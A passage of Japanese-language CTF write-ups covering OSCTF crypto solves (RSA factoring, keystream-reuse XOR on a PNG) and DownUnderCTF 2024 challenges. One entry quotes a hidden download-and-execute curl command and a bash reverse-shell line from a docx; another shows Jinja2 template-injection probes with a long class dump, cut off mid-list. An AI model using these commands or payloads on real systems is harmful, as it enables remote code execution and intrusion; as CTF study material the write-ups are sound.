        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

with open('cipher', 'r') as f:
    params = f.read().splitlines()

e = 65537
n = int(params[0].split(' ')[-1])
c = int(params[1].split(' ')[-1])

p, q = fermat(n)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
OSCTF{m4y_7h3_pR1m3_10v3_34cH_07h3r?}

Efficient RSA (Crypto)

factordbでnを素因数分解する。

n = 3058290486427196148217508840815579 * 4289583456856434512648292419762447

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('encrypted.txt', 'r') as f:
    [n, e, c] = eval(f.read())

p = 3058290486427196148217508840815579
q = 4289583456856434512648292419762447
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
OSCTF{F4ct0r1Ng_F0r_L1f3}

Sheep Counting (Crypto)

暗号化処理の概要は以下の通り。

・KEY: 不明
・cipher: KEYを使ったAES暗号p部ジェクト
・ctr = StepUpCounter()
 ・ctr.value: ランダム16バイト文字列の16進数表記
 ・ctr.step = 1
 ・ctr.stup = False
・out = []
・以下繰り返し
 ・Counting.pngを16バイトずつ読み込み
 ・keystream = cipher.encrypt(ctr.increment())
  ※暗号対象は変わらない。
 ・xored: blockとkeystreamのXOR
 ・outにxoredの16進数表記を追加
・outの各要素を結合したものを出力

keystreamはいつも同じで、PNGの先頭16バイトと暗号とのXORで算出できる。あとはこれを鍵として、XORで復号すればよい。

#!/usr/bin/env python3
with open('encrypted_1.txt', 'r') as f:
    enc = bytes.fromhex(f.read())

PNG_HEAD = b'\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0dIHDR'
key = b''
for i in range(len(PNG_HEAD)):
    key += bytes([PNG_HEAD[i] ^ enc[i]])

png = b''
for i in range(len(enc)):
    png += bytes([enc[i] ^ key[i % len(key)]])

with open('Counting.png', 'wb') as f:
    f.write(png)

復号した画像にフラグが書いてあった。

OSCTF{SH33P_CouNT1ng_111}

DownUnderCTF 2024 Writeup

この大会は2024/7/5 18:30(JST)~2024/7/7 18:30(JST)に開催されました。
今回もチームで参戦。結果は1934点で1515チーム中202位でした。
自分で解けた問題をWriteupとして書いておきます。

tldr please summarise (beginner) [misc]

docxを解凍する。word\document.xmlを見ると、怪しいコマンドが含まれている。

curl -sL https://pastebin.com/raw/ysYcKmbu | base64 -d > temp.sh && chmod +x temp.sh && ./temp.sh

base64デコードした内容を確認する。

$ curl -sL https://pastebin.com/raw/ysYcKmbu | base64 -d
bash -i >& /dev/tcp/261.263.263.267/DUCTF{chatgpt_I_n33d_2_3scap3} 0>&1

フラグが隠れていた。

DUCTF{chatgpt_I_n33d_2_3scap3}

parrot the emu (beginner) [web]

{{7*7}}と入力したら、49と返ってきた。
以下のように入力してみる。

{{().__class__.__base__.__subclasses__()}}

すると、以下のように返ってきた。

[&lt;class 'type'&gt;, &lt;class 'weakref'&gt;, &lt;class 'weakcallableproxy'&gt;, &lt;class 'weakproxy'&gt;, &lt;class 'int'&gt;, &lt;class 'bytearray'&gt;, &lt;class 'bytes'&gt;, &lt;class 'list'&gt;, &lt;class 'NoneType'&gt;, &lt;class 'NotImplementedType'&gt;, &lt;class 'traceback'&gt;, &lt;class 'super'&gt;, &lt;class 'range'&gt;, &lt;class 'dict'&gt;, &lt;class 'dict_keys'&gt;, &lt;class 'dict_values'&gt;, &lt;class 'dict_items'&gt;, &lt;class 'dict_reversekeyiterator'&gt;, &lt;class 'dict_reversevalueiterator'&gt;, &lt;class 'dict_reverseitemiterator'&gt;, &lt;class 'odict_iterator'&gt;, &lt;class 'set'&gt;, &lt;class 'str'&gt;, &lt;class 'slice'&gt;, &lt;class 'staticmethod'&gt;, &lt;class 'complex'&gt;, &lt;class 'float'&gt;, &lt;class 'frozenset'&gt;, &lt;class 'property'&gt;, &lt;class 'managedbuffer'&gt;, &lt;class 'memoryview'&gt;, &lt;class 'tuple'&gt;, &lt;class 'enumerate'&gt;, &lt;class 'reversed'&gt;, &lt;class 'stderrprinter'&gt;, &lt;class 'code'&gt;, &lt;class 'frame'&gt;, &lt;class 'builtin_function_or_method'&gt;, &lt;class 'method'&gt;, &lt;class 'function'&gt;, &lt;class 'mappingproxy'&gt;, &lt;class 'generator'&gt;, &lt;class 'getset_descriptor'&gt;, &lt;class 'wrapper_descriptor'&gt;, &lt;class 'method-wrapper'&gt;, &lt;class 'ellipsis'&gt;, &lt;class 'member_descriptor'&gt;, &lt;class 'types.SimpleNamespace'&gt;, &lt;class 'PyCapsule'&gt;, &lt;class 'longrange_iterator'&gt;, &lt;class 'cell'&gt;, &lt;class 'instancemethod'&gt;, &lt;class 'classmethod_descriptor'&gt;, &lt;class 'method_descriptor'&gt;, &lt;class 'callable_iterator'&gt;, &lt;class 'iterator'&gt;, &lt;class 'pickle.PickleBuffer'&gt;, &lt;class 'coroutine'&gt;, &lt;class 'coroutine_wrapper'&gt;, &lt;class 'InterpreterID'&gt;, &lt;class 'EncodingMap'&gt;, &lt;class 'fieldnameiterator'&gt;, &lt;class 'formatteriterator'&gt;, &lt;class 'BaseException'&gt;, &lt;class 'hamt'&gt;, &lt;class 'hamt_array_node'&gt;, &lt;class 'hamt_bitmap_node'&gt;, &lt;class 'hamt_collision_node'&gt;, &lt;class 'keys'&gt;, &lt;class 'values'&gt;, &lt;class 'items'&gt;, &lt;class 'Context'&gt;, &lt;class 'ContextVar'&gt;, &lt;class 'Token'&gt;, &lt;class 'Token.MISSING'&gt;, &lt;class 'moduledef'&gt;, &lt;class 'module'&gt;, &lt;class 'filter'&gt;, &lt;class 'map'&gt;, &lt;class 'zip'&gt;, &lt;class '_frozen_importlib._ModuleLock'&gt;, &lt;class '_frozen_importlib._DummyModuleLock'&gt;, &lt;class '_frozen_importlib._ModuleLockManager'&gt;, &lt;class '_frozen_importlib.ModuleSpec'&gt;, &lt;class '_frozen_importlib.BuiltinImporter'&gt;, &lt;class 'classmethod'&gt;, &lt;class '_frozen_importlib.FrozenImporter'&gt;, &lt;class '_frozen_importlib._ImportLockContext'&gt;, &lt;class '_thread._localdummy'&gt;, &lt;class '_thread._local'&gt;, &lt;class '_thread.lock'&gt;, &lt;class '_thread.RLock'&gt;, &lt;class '_io._IOBase'&gt;, &lt;class '_io._BytesIOBuffer'&gt;, &lt;class '_io.IncrementalNewlineDecoder'&gt;, &lt;class 'posix.ScandirIterator'&gt;, &lt;class 'posix.DirEntry'&gt;, &lt;class '_frozen_importlib_external.WindowsRegistryFinder'&gt;, &lt;class '_frozen_importlib_external._LoaderBasics'&gt;, &lt;class '_frozen_importlib_external.FileLoader'&gt;, &lt;class '_frozen_importlib_external._NamespacePath'&gt;, &lt;class '_frozen_importlib_external._NamespaceLoader'&gt;, &lt;class '_frozen_importlib_external.PathFinder'&gt;, &lt;class '_frozen_importlib_external.FileFinder'&gt;, &lt;class 'zipimport.zipimporter'&gt;, &lt;class 'zipimport._ZipImportResourceReader'&gt;, &lt;class 'codecs.Codec'&gt;, &lt;class 'codecs.IncrementalEncoder'&gt;, &lt;class 'codecs.IncrementalDecoder'&gt;, &lt;class 'codecs.StreamReaderWriter'&gt;, &lt;class 'codecs.StreamRecoder'&gt;, &lt;class '_abc._abc_data'&gt;, &lt;class 'abc.ABC'&gt;, &lt;class 'dict_itemiterator'&gt;, &lt;class 'collections.abc.Hashable'&gt;, &lt;class 'collections.abc.Awaitable'&gt;, &lt;class 'types.GenericAlias'&gt;, &lt;class 'collections.abc.AsyncIterable'&gt;, &lt;class 'async_generator'&gt;, &lt;class 'collections.abc.Iterable'&gt;, &lt;class 'bytes_iterator'&gt;, &lt;class 'bytearray_iterator'&gt;, &lt;class 'dict_keyiterator'&gt;, &lt;class 'dict_valueiterator'&gt;, &lt;class 'list_iterator'&gt;, &lt;class 'list_reverseiterator'&gt;, &lt;class 'range_iterator'&gt;, &lt;class 'set_iterator'&gt;, &lt;class 'str_iterator'&gt;, &lt;class 'tuple_iterator'&gt;, &lt;class 'collections.abc.Sized'&gt;, &lt;class 'collections.abc.Container'&gt;, &lt;class 'collections.abc.Callable'&gt;, &lt;class 'os._wrap_close'&gt;, &lt;class '_sitebuiltins.Quitter'&gt;, &lt;class '_sitebuiltins._Printer'&gt;, &lt;class '_sitebuiltins._Helper'&gt;, &lt;class 'types.DynamicClassAttribute'&gt;, &lt;class 'types._GeneratorWrapper'&gt;, &lt;class 'enum.auto'&gt;, &lt;enum 'Enum'&gt;, &lt;class 're.Pattern'&gt;, &lt;class 're.Match'&gt;, &lt;class '_sre.SRE_Scanner'&gt;, &lt;class 'sre_parse.State'&gt;, &lt;class 'sre_parse.SubPattern'&gt;, &lt;class 'sre_parse.Tokenizer'&gt;, &lt;class 'itertools.accumulate'&gt;, &lt;class 'itertools.combinations'&gt;, &lt;class 'itertools.combinations_with_replacement'&gt;, &lt;class 'itertools.cycle'&gt;, &lt;class 'itertools.dropwhile'&gt;, &lt;class 'itertools.takewhile'&gt;, &lt;class 'itertools.islice'&gt;, &lt;class 'itertools.starmap'&gt;, &lt;class 'itertools.chain'&gt;, &lt;class 'itertools.compress'&gt;, &lt;class 'itertools.filterfalse'&gt;, &lt;class 'itertools.count'&gt;, &lt;class 'itertools.zip_longest'&gt;, &lt;class 'itertools.permutations'&gt;, &lt;class 'itertools.product'&gt;, &lt;class 'itertools.repeat'&gt;, &lt;class 'itertools.groupby'&gt;, &lt;class 'itertools._grouper'&gt;, &lt;class 'itertools._tee'&gt;, &lt;class 'itertools._tee_dataobject'&gt;, &lt;class 'operator.itemgetter'&gt;, &lt;class 'operator.attrgetter'&gt;, &lt;class 'operator.methodcaller'&gt;, &lt;class 'reprlib.Repr'&gt;, &lt;class 'collections.deque'&gt;, &lt;class '_collections._deque_iterator'&gt;, &lt;class '_collections._deque_reverse_iterator'&gt;, &lt;class '_collections._tuplegetter'&gt;, &lt;class 'collections._Link'&gt;, &lt;class 'functools.partial'&gt;, &lt;class 'functools._lru_cache_wrapper'&gt;, &lt;class 'functools.partialmethod'&gt;, &lt;class 'functools.singledispatchmethod'&gt;, &lt;class 'functools.cached_property'&gt;, &lt;class 're.Scanner'&gt;, &lt;class 'string.Template'&gt;, &lt;class 'string.Formatter'&gt;, &lt;class 'contextlib.ContextDecorator'&gt;, &lt;class 'contextlib._GeneratorContextManagerBase'&gt;, &lt;class 'contextlib._BaseExitStack'&gt;, &lt;class 'typing._Final'&gt;, &lt;class 'typing._Immutable'&gt;, &lt;class 'typing.Generic'&gt;, &lt;class 'typing._TypingEmpty'&gt;, &lt;class 'typing._TypingEllipsis'&gt;, &lt;class 'typing.Annotated'&gt;, &lt;class 'typing.NamedTuple'&gt;, &lt;class 'typing.TypedDict'&gt;, &lt;class 'typing.io'&gt;, &lt;class 'typing.re'&gt;, &lt;class 'ast.AST'&gt;, &lt;class 'markupsafe._MarkupEscapeHelper'&gt;, &lt;class '_weakrefset._IterationGuard'&gt;, &lt;class '_weakrefset.WeakSet'&gt;, &lt;class 'threading._RLock'&gt;, &lt;class 'threading.Condition'&gt;, &lt;class 'threading.Semaphore'&gt;, &lt;class 'threading.Event'&gt;, &lt;class 'threading.Barrier'&gt;, &lt;class 'threading.Thread'&gt;, &lt;class 'warnings.WarningMessage'&gt;, &lt;class 'warnings.catch_warnings'&gt;, &lt;class 'select.poll'&gt;, &lt;class 'select.epoll'&gt;, &lt;class 'selectors.BaseSelector'&gt;, &lt;class 'subprocess.CompletedProcess'&gt;, &lt;class 'subprocess.Popen'&gt;, &lt;class 'platform._Processor'&gt;, &lt;class '_socket.socket'&gt;, &lt;class 'array.array'&gt;, &lt;class 'socketserver.BaseServer'&gt;, &lt;class 'socketserver.ForkingMixIn'&gt;, &lt;class 'socketserver._NoThreads'&gt;, &lt;class 'socketserver.ThreadingMixIn'&gt;, &lt;class 'socketserver.BaseRequestHandler'&gt;, &lt;class 'datetime.date'&gt;, &lt;class 'datetime.time'&gt;, &lt;class 'datetime.timedelta'&gt;, &lt;class 'datetime.tzinfo'&gt;, &lt;class 'weakref.finalize._Info'&gt;, &lt;class 'weakref.finalize'&gt;, &lt;class '_random.Random'&gt;, &lt;class '_sha512.sha384'&gt;, &lt;class '_sha512.sha512'&gt;, &lt;class 'urllib.parse._ResultMixinStr'&gt;, &lt;class 'urllib.parse._ResultMixinBytes'&gt;, &lt;class 'urllib.parse._NetlocResultMixinBase'&gt;, &lt;class 'calendar._localized_month'&gt;, &lt;class 'calendar._localized_day'&gt;, &lt;class 'calendar.Calendar'&gt;, &lt;class 'calendar.different_locale'&gt;, &lt;class 'email._parseaddr.AddrlistClass'&gt;, &lt;class '_struct.Struct'&gt;, &lt;class '_struct.unpack_iterator'&gt;, &lt;class 'email.charset.Charset'&gt;, &lt;class 'email.header.Header'&gt;, &lt;class 'email.header._ValueFormatter'&gt;, &lt;class 'email._policybase._PolicyBase'&gt;, &lt;class 'email.feedparser.BufferedSubFile'&gt;, &lt;class 'email.feedparser.FeedParser'&gt;, &lt;class 'email.parser.Parser'&gt;, &lt;class 'email.parser.BytesParser'&gt;, &lt;class 'email.message.Message'&gt;, &lt;class 'http.client.HTTPConnection'&gt;, &lt;class '_ssl._SSLContext'&gt;, &lt;class '_ssl._SSLSocket'&gt;, &lt;class '_ssl.MemoryBIO'&gt;, &lt;class '_ssl.Session'&gt;, &lt;class 'ssl.SSLObject'&gt;, &lt;class 'mimetypes.MimeTypes'&gt;, &lt;class 'zlib.Compress'&gt;, &lt;class 'zlib.Decompress'&gt;, &lt;class '_bz2.BZ2Compressor'&gt;, &lt;class '_bz2.BZ2Decompressor'&gt;, &lt;class '_lzma.LZMACompressor'&gt;, &lt;class '_lzma.LZMADecompressor'&gt;, &lt;class 'ast.NodeVisitor'&gt;, &lt;class 'dis.Bytecode'&gt;, &lt;class 'tokenize.Untokenizer'&gt;, &lt;class 'inspect.BlockFinder'&gt;, &lt;class 'inspect._void'&gt;, &lt;class 'inspect._empty'&gt;, &lt;class 'inspect.Parameter'&gt;, &lt;class 'inspect.BoundArguments'&gt;, &lt;class 'inspect.Signature'&gt;, &lt;class 'traceback.FrameSummary'&gt;, &lt;class 'traceback.TracebackException'&gt;, &lt;class 'logging.LogRecord'&gt;, &lt;class 'logging.PercentStyle'&gt;, &lt;class 'logging.Formatter'&gt;, &lt;class 'logging.BufferingFormatter'&gt;, &lt;class 'logging.Filter'&gt;, &lt;class 'logging.Filterer'&gt;, &lt;class 'logging.PlaceHolder'&gt;, &lt;class 'logging.Manager'&gt;, &lt;class 'logging.LoggerAdapter'&gt;, &lt;class 'werkzeug._internal._Missing'&gt;, &lt;class 'werkzeug.exceptions.Aborter'&gt;, &lt;class 'werkzeug.urls.Href'&gt;, &lt;class '_hashlib.HASH'&gt;, &lt;class '_hashlib.HMAC'&gt;, &lt;class '_blake2.blake2b'&gt;, &lt;class '_blake2.blake2s'&gt;, &lt;class 'tempfile._RandomNameSequence'&gt;, &lt;class 'tempfile._TemporaryFileCloser'&gt;, &lt;class 'tempfile._TemporaryFileWrapper'&gt;, &lt;class 'tempfile.SpooledTemporaryFile'&gt;, &lt;class 'tempfile.TemporaryDirectory'&gt;, &lt;class 'urllib.request.Request'&gt;, &lt;class 'urllib.request.OpenerDirector'&gt;, &lt;class 'urllib.request.BaseHandler'&gt;, &lt;class 'urllib.request.HTTPPasswordMgr'&gt;, &lt;class 'urllib.request.AbstractBasicAuthHandler'&gt;, &lt;class 'urllib.request.AbstractDigestAuthHandler'&gt;, &lt;class 'urllib.request.URLopener'&gt;, &lt;class 'urllib.request.ftpwrapper'&gt;, &lt;class 'http.cookiejar.Cookie'&gt;, &lt;class 'http.cookiejar.CookiePolicy'&gt;, &lt;class 'http.cookiejar.Absent'&gt;, &lt;class 'http.cookiejar.CookieJar'&gt;, &lt;class 'werkzeug.datastructures.ImmutableListMixin'&gt;, &lt;class 'werkzeug.datastructures.ImmutableDictMixin'&gt;, &lt;class 'werkzeug.datastructures._omd_bucket'&gt;, &lt;class 'werkzeug.datastructures.Headers'&gt;, &lt;class 'werkzeug.datastructures.ImmutableHeadersMixin'&gt;, &lt;class 'werkzeug.datastructures.IfRange'&gt;, &lt;class 'werkzeug.datastructures.Range'&gt;, &lt;class 'werkzeug.datastructures.ContentRange'&gt;, &lt;class 'werkzeug.datastructures.FileStorage'&gt;, &lt;class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'&gt;, &lt;class 'dataclasses._MISSING_TYPE'&gt;, &lt;class 'dataclasses._FIELD_BASE'&gt;, &lt;class 'dataclasses.InitVar'&gt;, &lt;class 'dataclasses.Field'&gt;, &lt;class 'dataclasses._DataclassParams'&gt;, &lt;class 'werkzeug.sansio.multipart.Event'&gt;, &lt;class 'werkzeug.sansio.multipart.MultipartDecoder'&gt;, &lt;class 'werkzeug.sansio.multipart.MultipartEncoder'&gt;, &lt;class 'importlib.abc.Finder'&gt;, &lt;class 'importlib.abc.Loader'&gt;, &lt;class 'importlib.abc.ResourceReader'&gt;, &lt;class 'pkgutil.ImpImporter'&gt;, &lt;class 'pkgutil.ImpLoader'&gt;, &lt;class 'hmac.HMAC'&gt;, &lt;class 'werkzeug.wsgi.ClosingIterator'&gt;, &lt;class 'werkzeug.wsgi.FileWrapper'&gt;, &lt;class 'werkzeug.wsgi._RangeWrapper'&gt;, &lt;class 'werkzeug.utils.HTMLBuilder'&gt;, &lt;class 'werkzeug.wrappers.accept.AcceptMixin'&gt;, &lt;class 'werkzeug.wrappers.auth.AuthorizationMixin'&gt;, &lt;class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'&gt;, &lt;class '_json.Scanner'&gt;, &lt;class '_json.Encoder'&gt;, &lt;class 'json.decoder.JSONDecoder'&gt;, &lt;class 'json.encoder.JSONEncoder'&gt;, &lt;class 'werkzeug.formparser.FormDataParser'&gt;, &lt;class 'werkzeug.formparser.MultiPartParser'&gt;, &lt;class 'werkzeug.user_agent.UserAgent'&gt;, &lt;class 'werkzeug.useragents._UserAgentParser'&gt;, &lt;class 'werkzeug.sansio.request.Request'&gt;, &lt;class 'werkzeug.wrappers.request.StreamOnlyMixin'&gt;, &lt;class 'werkzeug.sansio.response.Response'&gt;, &lt;class 'werkzeug.wrappers.response.ResponseStream'&gt;, &lt;class 'werkzeug.wrappers.response.ResponseStreamMixin'&gt;, &lt;class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'&gt;, &lt;class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'&gt;, &lt;class 'werkzeug.wrappers.etag.ETagRequestMixin'&gt;, &lt;class 'werkzeug.wrappers.etag.ETagResponseMixin'&gt;, &lt;class 'werkzeug.wrappers.user_agent.UserAgentMixin'&gt;, &lt;class 'werkzeug.test._TestCookieHeaders'&gt;, &lt;class 'werkzeug.test._TestCookieResponse'&gt;, &lt;class 'werkzeug.test.EnvironBuilder'&gt;, &lt;class 'werkzeug.test.Client'&gt;, &lt;class 'decimal.Decimal'&gt;, &lt;class 'decimal.Context'&gt;, &lt;class 'decimal.SignalDictMixin'&gt;, &lt;class 'decimal.ContextManager'&gt;, &lt;class 'numbers.Number'&gt;, &lt;class 'uuid.UUID'&gt;, &lt;class '_pickle.Pdata'&gt;, &lt;class '_pickle.PicklerMemoProxy'&gt;, &lt;class '_pickle.UnpicklerMemoProxy'&gt;, &lt;class '_pickle.Pickler'&gt;, &lt;class '_pickle.Unpickler'&gt;, &lt;class 'pickle._Framer'&gt;, &lt;class 'pickle._Unframer'&gt;, &lt;class 'pickle._Pickler'&gt;, &lt;class 'pickle._Unpickler'&gt;, &lt;class 'jinja2.bccache.Bucket'&gt;, &lt;class 'jinja2.bccache.BytecodeCache'&gt;, &lt;class 'jinja2.utils.MissingType'&gt;, &lt;class 'jinja2.utils.LRUCache'&gt;, &lt;class 'jinja2.utils.Cycler'&gt;, &lt;class 'jinja2.utils.Joiner'&gt;, &lt;class 'jinja2.utils.Namespace'&gt;, &lt;class 'jinja2.nodes.EvalContext'&gt;, &lt;class 'jinja2.nodes.Node'&gt;, &lt;class 'jinja2.visitor.NodeVisitor'&gt;, &lt;class 'jinja2.idtracking.Symbols'&gt;, &lt;class 'jinja2.compiler.MacroRef'&gt;, &lt;class 'jinja2.compiler.Frame'&gt;, &lt;class 'jinja2.runtime.TemplateReference'&gt;, &lt;class 'jinja2.runtime.Context'&gt;, &lt;class 'jinja2.runtime.BlockReference'&gt;, &lt;class 'jinja2.runtime.LoopContext'&gt;, &lt;class 'jinja2.runtime.Macro'&gt;, &lt;class 'jinja2.runtime.Undefined'&gt;, &lt;class 'jinja2.lexer.Failure'&gt;, &lt;class 'jinja2.lexer.TokenStreamIterator'&gt;, &lt;class 'jinja2.lexer.TokenStream'&gt;, &lt;class 'jinja2.lexer.Lexer'&gt;, &lt;class 'jinja2.parser.Parser'&gt;, &lt;class 'jinja2.environment.Environment'&gt;, &lt;class 'jinja2.environment.Template'&gt;, &lt;class 'jinja2.environment.TemplateModule'&gt;, &lt;class 'jinja2.environment.TemplateExpression'&gt;, &lt;class 'jinja2.environment.TemplateStream'&gt;, &lt;class 'jinja2.loaders.BaseLoader'&gt;, &lt;class 'werkzeug.local.Local'&gt;, &lt;class 'werkzeug.local.LocalStack'&gt;, &lt;class 'werkzeug.local.LocalManager'&gt;, &lt;class 'werkzeug.local._ProxyLookup'&gt;, &lt;class 'werkzeug.local.LocalProxy'&gt;, &lt;class 'difflib.SequenceMatcher'&gt;, &lt;class 'difflib.Differ'&gt;, &lt;class 'difflib.HtmlDiff'&gt;, &lt;class 'pprint._safe_key'&gt;, &lt;class 'pprint.PrettyPrinter'&gt;, &lt;class 'werkzeug.routing.RuleFactory'&gt;, &lt;class 'werkzeug.routing.RuleTemplate'&gt;, &lt;class 'werkzeug.routing.BaseConverter'&gt;, &lt;class 'werkzeug.routing.Map'&gt;, &lt;class 'werkzeug.routing.MapAdapter'&gt;, &lt;class 'gettext.NullTranslations'&gt;, &lt;class 'click._compat._FixupStream'&gt;, &lt;class 'click._compat._AtomicFile'&gt;, &lt;class 'click.utils.LazyFile'&gt;, &lt;class 'click.utils.KeepOpenFile'&gt;, &lt;class 'click.utils.PacifyFlushWrapper'&gt;, &lt;class 'click.types.ParamType'&gt;, &lt;class 'click.parser.Option'&gt;, &lt;class 'click.parser.Argument'&gt;, &lt;class 'click.parser.ParsingState'&gt;, &lt;class 'click.parser.OptionParser'&gt;, &lt;class 'click.formatting.HelpFormatter'&gt;, &lt;class 'click.core.Context'&gt;, &lt;class 'click.core.BaseCommand'&gt;, &lt;class 'click.core.Parameter'&gt;, &lt;class 'flask.signals.Namespace'&gt;, &lt;class 'flask.signals._FakeSignal'&gt;, &lt;class '__future__._Feature'&gt;, &lt;class 'zipfile.ZipInfo'&gt;, &lt;class 'zipfile.LZMACompressor'&gt;, &lt;class 'zipfile.LZMADecompressor'&gt;, &lt;class 'zipfile._SharedFile'&gt;, &lt;class 'zipfile._Tellable'&gt;, &lt;class 'zipfile.ZipFile'&gt;, &lt;class 'zipfile.Path'&gt;, &lt;class 'pathlib._Flavour'&gt;, &lt;class 'pathlib._Accessor'&gt;, &lt;class 'pathlib._Selector'&gt;, &lt;class 'pathlib._TerminatingSelector'&gt;, &lt;class 'pathlib.PurePath'&gt;, &lt;class 'zipp.glob.Translator'&gt;, &lt;class 'zipp.InitializedState'&gt;, &lt;class 'zipp.SanitizedNames'&gt;, &lt;class 'zipp.Path'&gt;, &lt;class 'textwrap.TextWrapper'&gt;, &lt;class 'importlib_metadata._compat.NullFinder'&gt;, &lt;class 'importlib_metadata.Sectioned'&gt;, &lt;class 'importlib_metadata.EntryPoint'&gt;, &lt;class 'importlib_metadata.FileHash'&gt;, &lt;class 'importlib_metadata.Distribution'&gt;, &lt;class 'importlib_metadata.DistributionFinder.Context'&gt;, &lt;class 'importlib_metadata.FastPath'&gt;, &lt;class 'importlib_metadata.Lookup'&gt;, &lt;class 'importlib_metadata.Prepared'&gt;, &lt;class 'flask.cli.DispatchingApp'&gt;, &lt;class 'flask.cli.ScriptInfo'&gt;, &lt;class 'flask.config.ConfigAttribute'&gt;, &lt;class 'flask.ctx._AppCtxGlobals'&gt;, &lt;class 'flask.ctx.AppContext'&gt;, &lt;class 'flask.ctx.RequestContext'&gt;, &lt;class 'flask.scaffold.Scaffold'&gt;, &lt;class 'itsdangerous.signer.SigningAlgorithm'&gt;, &lt;class 'itsdangerous.signer.Signer'&gt;, &lt;class 'itsdangerous._json._CompactJSON'&gt;, &lt;class 'flask.json.tag.JSONTag'&gt;, &lt;class 'flask.json.tag.TaggedJSONSerializer'&gt;, &lt;class 'flask.sessions.SessionInterface'&gt;, &lt;class 'flask.blueprints.BlueprintSetupState'&gt;, &lt;class 'unicodedata.UCD'&gt;]

整形すると、以下のようになる。

[<class 'type'>, 
<class 'weakref'>, 
<class 'weakcallableproxy'>, 
<class 'weakproxy'>, 
<class 'int'>, 
<class 'bytearray'>, 
<class 'bytes'>, 
<class 'list'>, 
<class 'NoneType'>, 
<class 'NotImplementedType'>, 
<class 'traceback'>, 
<class 'super'>, 
<class 'range'>, 
<class 'dict'>, 
<class 'dict_keys'>, 
<class 'dict_values'>, 
<class 'dict_items'>, 
<class 'dict_reversekeyiterator'>, 
<class 'dict_reversevalueiterator'>, 
<class 'dict_reverseitemiterator'>, 
<class 'odict_iterator'>, 
<class 'set'>, 
<class 'str'>, 
<class 'slice'>, 
<class 'staticmethod'>, 
<class 'complex'>, 
<class 'float'>, 
<class 'frozenset'>, 
<class 'property'>, 
<class 'managedbuffer'>, 
<class 'memoryview'>, 
<class 'tuple'>, 
<class 'enumerate'>, 
<class 'reversed'>, 
<class 'stderrprinter'>, 
<class 'code'>, 
<class 'frame'>, 
<class 'builtin_function_or_method'>, 
<class 'method'>, 
<class 'function'>, 
<class 'mappingproxy'>, 
<class 'generator'>, 
<class 'getset_descriptor'>, 
<class 'wrapper_descriptor'>, 
<class 'method-wrapper'>, 
<class 'ellipsis'>, 
<class 'member_descriptor'>, 
<class 'types.SimpleNamespace'>, 
<class 'PyCapsule'>, 
<class 'longrange_iterator'>, 
<class 'cell'>, 
<class 'instancemethod'>, 
<class 'classmethod_descriptor'>, 
<class 'method_descriptor'>, 
<class 'callable_iterator'>, 
<class 'iterator'>, 
<class 'pickle.PickleBuffer'>, 
<class 'coroutine'>, 
<class 'coroutine_wrapper'>, 
<class 'InterpreterID'>, 
<class 'EncodingMap'>, 
<class 'fieldnameiterator'>, 
<class 'formatteriterator'>, 
<class 'BaseException'>, 
<class 'hamt'>, 
<class 'hamt_array_node'>, 
<class 'hamt_bitmap_node'>, 
<class 'hamt_collision_node'>, 
<class 'keys'>, 
<class 'values'>, 
<class 'items'>, 
<class 'Context'>, 
<class 'ContextVar'>, 
<class 'Token'>, 
<class 'Token.MISSING'>, 
<class 'moduledef'>, 
<class 'module'>, 
<class 'filter'>, 
<class 'map'>, 
<class 'zip'>, 
<class '_frozen_importlib._ModuleLock'>, 
<class '_frozen_importlib._DummyModuleLock'>, 
<class '_frozen_importlib._ModuleLockManager'>, 
<class '_frozen_importlib.ModuleSpec'>, 
<class '_frozen_importlib.BuiltinImporter'>, 
<class 'classmethod'>, 
<class '_frozen_importlib.FrozenImporter'>, 
<class '_frozen_importlib._ImportLockContext'>, 
<class '_thread._localdummy'>, 
<class '_thread._local'>, 
<class '_thread.lock'>, 
<class '_thread.RLock'>, 
<class '_io._IOBase'>, 
<class '_io._BytesIOBuffer'>, 
<class '_io.IncrementalNewlineDecoder'>, 
<class 'posix.ScandirIterator'>, 
<class 'posix.DirEntry'>, 
<class '_frozen_importlib_external.WindowsRegistryFinder'>, 
<class '_frozen_importlib_external._LoaderBasics'>, 
<class '_frozen_importlib_external.FileLoader'>, 
<class '_frozen_importlib_external._NamespacePath'>, 
<class '_frozen_importlib_external._NamespaceLoader'>, 
<class '_frozen_importlib_external.PathFinder'>, 
<class '_frozen_importlib_external.FileFinder'>, 
<class 'zipimport.zipimporter'>, 
<class 'zipimport._ZipImportResourceReader'>, 
<class 'codecs.Codec'>, 
<class 'codecs.IncrementalEncoder'>, 
<class 'codecs.IncrementalDecoder'>, 
<class 'codecs.StreamReaderWriter'>, 
<class 'codecs.StreamRecoder'>, 
<class '_abc._abc_data'>, 
<class 'abc.ABC'>, 
<class 'dict_itemiterator'>, 
<class 'collections.abc.Hashable'>, 
<class 'collections.abc.Awaitable'>, 
<class 'types.GenericAlias'>, 
<class 'collections.abc.AsyncIterable'>, 
<class 'async_generator'>, 
<class 'collections.abc.Iterable'>, 
<class 'bytes_iterator'>, 
<class 'bytearray_iterator'>, 
<class 'dict_keyiterator'>, 
<class 'dict_valueiterator'>, 
<class 'list_iterator'>, 
<class 'list_reverseiterator'>, 
<class 'range_iterator'>, 
<class 'set_iterator'>, 
<class 'str_iterator'>, 
<class 'tuple_iterator'>, 
<class 'collections.abc.Sized'>, 
<class 'collections.abc.Container'>, 
<class 'collections.abc.Callable'>, 
<class 'os._wrap_close'>, 
<class '_sitebuiltins.Quitter'>, 
<class '_sitebuiltins._Printer'>, 
<class '_sitebuiltins._Helper'>, 
<class 'types.DynamicClassAttribute'>, 
<class 'types._GeneratorWrapper'>, 
<class 'enum.auto'>, 
<enum 'Enum'>, 
<class 're.Pattern'>, 
<class 're.Match'>, 
<class '_sre.SRE_Scanner'>, 
<class 'sre_parse.State'>, 
<class 'sre_parse.SubPattern'>, 
<class 'sre_parse.Tokenizer'>, 
